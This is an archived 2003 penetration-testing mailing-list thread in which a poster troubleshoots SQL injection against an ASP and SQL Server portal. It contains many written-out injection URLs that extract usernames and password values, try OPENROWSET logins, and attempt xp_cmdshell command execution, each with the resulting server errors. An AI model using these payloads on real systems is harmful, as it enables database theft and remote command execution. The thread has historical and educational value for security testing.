

Re: SQL Injection ASP + SQL Server (problem) ?!

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2003-08/0005.html>

sekure_at_hadrion.com.br

Date: 07/30/03

To: "Cesar" <cesarc56@yahoo.com>, <pen-test@securityfocus.com>

Date: Wed, 30 Jul 2003 17:56:32 -0300

Hi Cesar,

First Thkz for help and attention.

> *Take a look a this paper:*

>

http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf

Your paper is very intersting.. with advanced techniques.. :)

But how i will use OPENROWSET if as i wrote in my first mail i can't get the password for admin. :(

ps.: See my last mail...

Then i tryed use sa without password....

[http://www.server.com/portal/index.asp?local=ler&id_noticia=\(select%20*%20from%20OPENROWSET\('SQLoledb',](http://www.server.com/portal/index.asp?local=ler&id_noticia=(select%20*%20from%20OPENROWSET('SQLoledb',)

But it have a passowrd...

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)

[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'sa'.

Ideas ?

A other doubt if the conecction timeout or the server didn't respond...
probrability the SQL Server is in other Server. Do u know some tips to
detect where is other SQL Server (IP) ??

ps.: If i could read local files i could try find user/pass in .asp files..
;)

> *also this tool, you only have to copy, paste and click*

> *and you get all the data you want:*

> <http://www.appsecinc.com/resources/freetools/DataThief.zip>

Re: SQL Injection ASP + SQL Server (problem) ?!

SecurityFocus Penetration: Re: SQL Injection ASP + SQL Server (problem) ?!

I treyd it.. I used this string in url

http://www.server.com/portal/index.asp?local=ler&id_noticia=1'; <***> with GET method. And i received always this message:

Data Thief V1.0

[DBMSSOCN] General network error. Check your network connection.

Can u help me ?? :)

ps.: My first post is below.. :)

Thkz and Regards

[]'s

>

>

>

> Cesar.

>

> --- sekure@hadrion.com.br wrote:

>> Hi,

>>

>> I'm doing a pen-test in a WebServer running Win2K +

>> IIS + ASP + SQL

>> Server (filtred for internet connections).

>>

>> The IIS appear to be very well patched. I'm trying

>> SQL Injection. :)

>>

>> I found a bug in ASP Script... see:

>>

>>

>

[http://www.server.com/portal/index.asp?local=read&id_notice=\(select%20min\(user\)%20from%20users\)%20--](http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(user)%20from%20users)%20--)

>>

>> I received the name of the min(user) in users

>> tables, see:

>>

>> Technical Information (for support personnel)

>>

>> Error Type:

>> Microsoft OLE DB Provider for ODBC Drivers

>> (0x80040E07)

>> [Microsoft][ODBC SQL Server Driver][SQL

>> Server]Syntax error converting

>> the nvarchar value 'admin' to a column of data type

>> int.

>>

>> The username is "admin". Now i want to know the

>> password of "admin" i

Re: SQL Injection ASP + SQL Server (problem) ?!

SecurityFocus Penetration: Re: SQL Injection ASP + SQL Server (problem) ?!

> > *tryed:*

> >

> >

>

> >

> > *But i received it:*

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80004005)*

> > *[Microsoft][ODBC SQL Server Driver][SQL*

> > *Server]Subquery returned more*

> > *than 1 value. This is not permitted when the*

> > *subquery follows =, !=,*

> > *<, <=, >, >= or when the subquery is used as an*

> > *expression.*

> >

> > *1 – Someone know how to do it return more than 1*

> > *value ?? can give-me*

> > *a example ?*

> >

> > *I tryed it too:*

> >

> >

>

[http://www.server.com/portal/index.asp?local=read&id_notice=\(select%20min\(pass\)%20from%20users%20where%20](http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(pass)%20from%20users%20where%20)

> >

> > *And i receive it:*

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80040E07)*

> > *[Microsoft][ODBC SQL Server Driver][SQL*

> > *Server]Syntax error converting*

> > *the varchar value*

> >

>

'{0049-0096-0145-0200-0246-0288-0365-0392-0289-0320-0353-0384-0417-0448-0481

-0512-0545-0576-0609-0640}'

> > *to a column of data type int.*

> >

> > *2 – But it isn't a "password", it appear be a*

> > *registry key. Someone*

> > *know what is it ?? And how to do it work and see the*

> > *password ? :)*

> >

> > *3 – I tryed to create a SQL Transaction like this:*

> >

> >

>

Re: SQL Injection ASP + SQL Server (problem) ?!

SecurityFocus Penetration: Re: SQL Injection ASP + SQL Server (problem) ?!

[http://www.server.com/portal/index.asp?local=read&id_noticia="';%20begin%20declare%20@ret%20varchar\(8000\)%r+'+senha%20from%20users%20where%20user>@ret%20select%20@ret%20as%20ret%20into%20alluser%20end%20--](http://www.server.com/portal/index.asp?local=read&id_noticia=)

> >

> > *I receive it:*

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80040E14)*

> > *[Microsoft][ODBC SQL Server Driver][SQL Server]The*

> > *identifier that*

> > *starts with ';' begin declare @ret varchar(8000) set*

> > *@ret=':' select*

> > *@ret=@ret ' user '/' senha from users where*

> > *user>@ret select @ret*

> > *as' is too long. Maximum length is 128.*

> >

> > *Someone know why i received this error ?? I*

> > *overflowed the sized*

> > *allowed in paramter by variable in ASP ? or in SQL*

> > *Server ? How to do*

> > *it work ?? :)*

> >

> > *4 – My last doubt. I tryed execute commands with*

> > *xp_cmdshell.. see:*

> >

> >

>

[http://www.server.com/portal/index.asp?local=read&id_notice=0';EXEC+master..xp_cmdshell\(cmd.exe+/c\)--](http://www.server.com/portal/index.asp?local=read&id_notice=0';EXEC+master..xp_cmdshell(cmd.exe+/c)--)

> >

> > *and receive:*

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80040E14)*

> > *[Microsoft][ODBC SQL Server Driver][SQL*

> > *Server]Unclosed quotation mark*

> > *before the character string ';'EXEC*

> > *master..xp_cmdshell(cmd.exe /c)--'.*

> >

> >

> > *OR:*

> >

> >

>

http://www.server.com/portal/index.asp?local=read&id_notice=1';EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80040E14)*

> > *[Microsoft][ODBC SQL Server Driver][SQL Server]Line*

Re: SQL Injection ASP + SQL Server (problem) ?!

SecurityFocus Penetration: Re: SQL Injection ASP + SQL Server (problem) ?!

> > *I: Incorrect*

> > *syntax near ';EXEC master.dbo.xp_cmdshell'.*

> >

> > *OR using quotes:*

> >

> >

>

http://www.server.com/portal/index.asp?local=read&id_notice=1`;EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80040E14)*

> > *[Microsoft][ODBC SQL Server Driver][SQL Server]Line*

> > *I: Incorrect*

> > *syntax near ''.*

> >

> >

> > *And tried too (use the bug to exec xp_cmdshell*

> > *stored procedure with a*

> > *non privileged user):*

> >

> >

>

[http://www.server.com/portal/index.asp?local=read&id_notice=';\(SELECT%20*%20FROM%00OPENROWSET'SQLT%20FMTONLY%20OFF%20execute%20master..xp_cmdshell%20'dir%20c:\'\)](http://www.server.com/portal/index.asp?local=read&id_notice=';(SELECT%20*%20FROM%00OPENROWSET'SQLT%20FMTONLY%20OFF%20execute%20master..xp_cmdshell%20'dir%20c:\'))---

> >

> > *I receive ... again the error:*

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

> > *(0x80040E14)*

> > *[Microsoft][ODBC SQL Server Driver][SQL Server]The*

> > *identifier that*

> > *starts with '(SELECT * FROM*

> >

> > *OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;DataSource=MY_SERVER','SET*

> > *FMTONLY OFF execute master..xp_cmdshell' is too*

> > *long. Maximum length*

> > *is 128.*

> >

> >

> > *If i try:*

> >

> >

>

[http://www.server.com/portal/index.asp?local=read&id_notice=\(SELECT%20*%20FROM%00OPENROWSET'SQLO](http://www.server.com/portal/index.asp?local=read&id_notice=(SELECT%20*%20FROM%00OPENROWSET'SQLO)

> >

> > *I receive:*

> >

> > *Error Type:*

> > *Microsoft OLE DB Provider for ODBC Drivers*

